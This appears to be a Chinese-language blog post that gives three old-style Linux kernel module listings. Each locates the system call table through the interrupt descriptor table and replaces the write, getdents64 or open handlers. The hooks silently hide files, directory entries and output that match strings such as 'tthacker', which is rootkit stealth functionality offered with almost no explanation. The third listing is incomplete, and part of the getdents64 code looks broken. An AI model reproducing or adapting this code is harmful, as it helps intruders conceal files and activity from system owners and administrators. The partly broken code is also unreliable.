Linux内核Hook系统调用

文章由LinuxBoy分享于2019-04-01 09:04:31热评（450）

Linux内核Hook系统调用

1,截获write系统调用:

#ifndef MODULE
#define MODULE
#endif

#ifndef __KERNEL__
#define __KERNEL__
#endif
#include <linux/init.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <linux/slab.h>
/*
#include <sys/types.h>
#include <asm/fcntl.h>
#include <linux/malloc.h>
#include <linux/types.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <asm/errno.h>
#include <sys/syscall.h>
*/
MODULE_LICENSE("GPL");
struct descriptor_idt
{
        unsigned short offset_low;
        unsigned short ignore1;
        unsigned short ignore2;
        unsigned short offset_high;
};
static struct {
        unsigned short limit;
        unsigned long base;
}__attribute__ ((packed)) idt48;

static unsigned int SYS_CALL_TABLE_ADDR;
void **sys_call_table;
int base_system_call;
int (*orig_write)(unsigned int fd,char *buf,unsigned int count);
unsigned char opcode_call[3]={0xff,0x14,0x85};
int match(unsigned char *source)
{
        int i;
        for(i=0;i<3;i++){
                if(source[i] != opcode_call[i])
                        return 0;
        }
        return 1;
}
int get_sys_call_table(void)
{
        int i,j;
        unsigned char *ins=(unsigned char *)base_system_call;
        unsigned int sct;

        for(i=0;i<100;i++){
                if(ins[i]==opcode_call[0]){
                        if(match(ins+i)){
                                sct=*((unsigned int *)(ins+3+i));
                                printk(KERN_ALERT "sys_call_tabl's address is
0x%X\n",sct);
                                return sct;
                        }
                }
        }

        printk(KERN_ALERT "can't find the address of sys_call_table\n");
        return -1;
}
int hacked_write(unsigned int fd,char *buf,unsigned int count)
{
char *hide="hello";

if(strstr(buf,hide)!=NULL){
printk(KERN_ALERT "find name.\n");
return count;
}
else{
return orig_write(fd,buf,count);
}
}
int init_module(void)
{
        __asm__ volatile ("sidt %0": "=m" (idt48));
        struct descriptor_idt *pIdt80 = (struct descriptor_idt *)(idt48.base + 8*0x80);
        base_system_call = (pIdt80->offset_high<<16 | pIdt80->offset_low);
        printk(KERN_ALERT "system_call address at 0x%x\n",base_system_call);
SYS_CALL_TABLE_ADDR=get_sys_call_table();
sys_call_table=(void **)SYS_CALL_TABLE_ADDR;
orig_write=sys_call_table[__NR_write];
sys_call_table[__NR_write]=hacked_write;
        return 0;
}
void cleanup_module()
{
sys_call_table[__NR_write]=orig_write;
}

2,截获getdents64

#ifndef MODULE
#define MODULE
#endif

#ifndef __KERNEL__
#define __KERNEL__
#endif
#include <linux/init.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/kernel.h>
#include <linux/dirent.h>
#include <linux/fs.h>
#include <linux/types.h>
#include <linux/slab.h>
#include <linux/string.h>
#include <linux/proc_fs.h>
#include <asm/unistd.h>
#include "uaccess.h"

MODULE_LICENSE("GPL");

struct linux_dirent64 {
        u64 d_ino;
        s64 d_off;
        unsigned short d_reclen;
        unsigned char d_type;
        char d_name[0];
};

//static inline _syscall3(int, getdents64, uint, fd, void *, dirp, uint, count);

asmlinkage long (*orig_getdents64)(unsigned int, void *, unsigned int);
struct descriptor_idt
{
        unsigned short offset_low;
        unsigned short ignore1;
        unsigned short ignore2;
        unsigned short offset_high;
};

static struct {
        unsigned short limit;
        unsigned long base;
}__attribute__ ((packed)) idt48;

char *hide="tthacker";

static unsigned int SYS_CALL_TABLE_ADDR;
void **sys_call_table;

int base_system_call;

unsigned char opcode_call[3]={0xff,0x14,0x85};

int match(unsigned char *source)
{
        int i;
        for(i=0;i<3;i++){
                if(source[i] != opcode_call[i])
                        return 0;
        }
        return 1;
}
asmlinkage long hacked_getdents64(unsigned int fd, void *dirp, unsigned int count)
{
    int ret;
    int proc = 0;
    struct inode *dinode;
    char *ptr = (char *)dirp;
    struct linux_dirent64 *curr;
    struct linux_dirent64 *prev = NULL;
    ret = (*orig_getdents64)(fd, dirp, count);
    if(ret <= 0) return ret;

    dinode = current->files->fd[fd]->f_dentry->d_inode;

/*
    if(dinode->i_ino == PROC_ROOT_INO && MAJOR(dinode->i_dev) == proc_major_dev &&
       MINOR(dinode->i_dev) == proc_minor_dev)
        proc++;
*/
    while(ptr < (char *)dirp + ret)
    {
        curr = (struct linux_dirent64 *)ptr;

        if(strstr(curr->d_name,hide)!=NULL )
        {
            if(curr == dirp)
            {
                ret -= curr->d_reclen;
                memmove(ptr + curr->d_reclen, ptr, ret);
                continue;
            }
            else
                prev->d_reclen += curr->d_reclen;
        }
        else
            prev = curr;

        ptr += curr->d_reclen;
    }

    return ret;
}
int get_sys_call_table(void)
{
        int i,j;
        unsigned char *ins=(unsigned char *)base_system_call;
        unsigned int sct;

        for(i=0;i<100;i++){
                if(ins[i]==opcode_call[0]){
                        if(match(ins+i)){
                                sct=*((unsigned int *)(ins+3+i));
                                printk(KERN_ALERT "sys_call_tabl's address is
0x%X\n",sct);
                                return sct;
                        }
                }
        }

        printk(KERN_ALERT "can't find the address of sys_call_table\n");
        return -1;
}
int init_module(void)
{
        __asm__ volatile ("sidt %0": "=m" (idt48));

        struct descriptor_idt *pIdt80 = (struct descriptor_idt *)(idt48.base + 8*0x80);

        base_system_call = (pIdt80->offset_high<<16 | pIdt80->offset_low);

        printk(KERN_ALERT "system_call address at 0x%x\n",base_system_call);

        SYS_CALL_TABLE_ADDR=get_sys_call_table();

        sys_call_table=(void **)SYS_CALL_TABLE_ADDR;

        orig_getdents64=sys_call_table[__NR_getdents64];
        sys_call_table[__NR_getdents64]=hacked_getdents64;

        return 0;
}

void cleanup_module()
{
sys_call_table[__NR_getdents64]=orig_getdents64;
}

3,截获open

static unsigned int SYS_CALL_TABLE_ADDR;
void **sys_call_table;
int base_system_call;
int (*orig_open)(const char *pathname,int flag,mode_t mode);
unsigned char opcode_call[3]={0xff,0x14,0x85};
int match(unsigned char *source)
{
        int i;
        for(i=0;i<3;i++){
                if(source[i] != opcode_call[i])
                        return 0;
        }
        return 1;
}
int get_sys_call_table(void)
{
        int i,j;
        unsigned char *ins=(unsigned char *)base_system_call;
        unsigned int sct;

        for(i=0;i<100;i++){
                if(ins[i]==opcode_call[0]){
                        if(match(ins+i)){
                                sct=*((unsigned int *)(ins+3+i));
                                printk(KERN_ALERT "sys_call_tabl's address is
0x%X\n",sct);
                                return sct;
                        }
                }
        }

        printk(KERN_ALERT "can't find the address of sys_call_table\n");
        return -1;
}
int hacked_open(const char *pathname,int flag,mode_t mode)
{
// char *kernel_pathname;

char *hide="tthacker";
// kernel_pathname=(char *)kmalloc(1000,GFP_KERNEL);

// memcpy_fromfs(kernel_pathname,pathname,999);

if(strstr(pathname,hide)!=NULL){
printk(KERN_ALERT "find name.\n");
return -ENOENT;
}
else{
// kfree(kernel_pathname);

return orig_open(pathname,flag,mode);
}
}
int init_module(void)
{
        __asm__ volatile ("sidt %0": "=m" (idt48));
        struct descriptor_idt *pIdt80 = (struct descriptor_idt *)(idt48.base + 8*0x80);
        base_system_call = (pIdt80->offset_high<<16 | pIdt80->offset_low);
        printk(KERN_ALERT "system_call address at 0x%x\n",base_system_call);
SYS_CALL_TABLE_ADDR=get_sys_call_table();
sys_call_table=(void **)SYS_CALL_TABLE_ADDR;
orig_open=sys_call_table[__NR_open];
sys_call_table[__NR_open]=hacked_open;
        return 0;
}
void cleanup_module()
{
sys_call_table[__NR_open]=orig_open;
}

推荐文章：

Linux内核Hook系统调用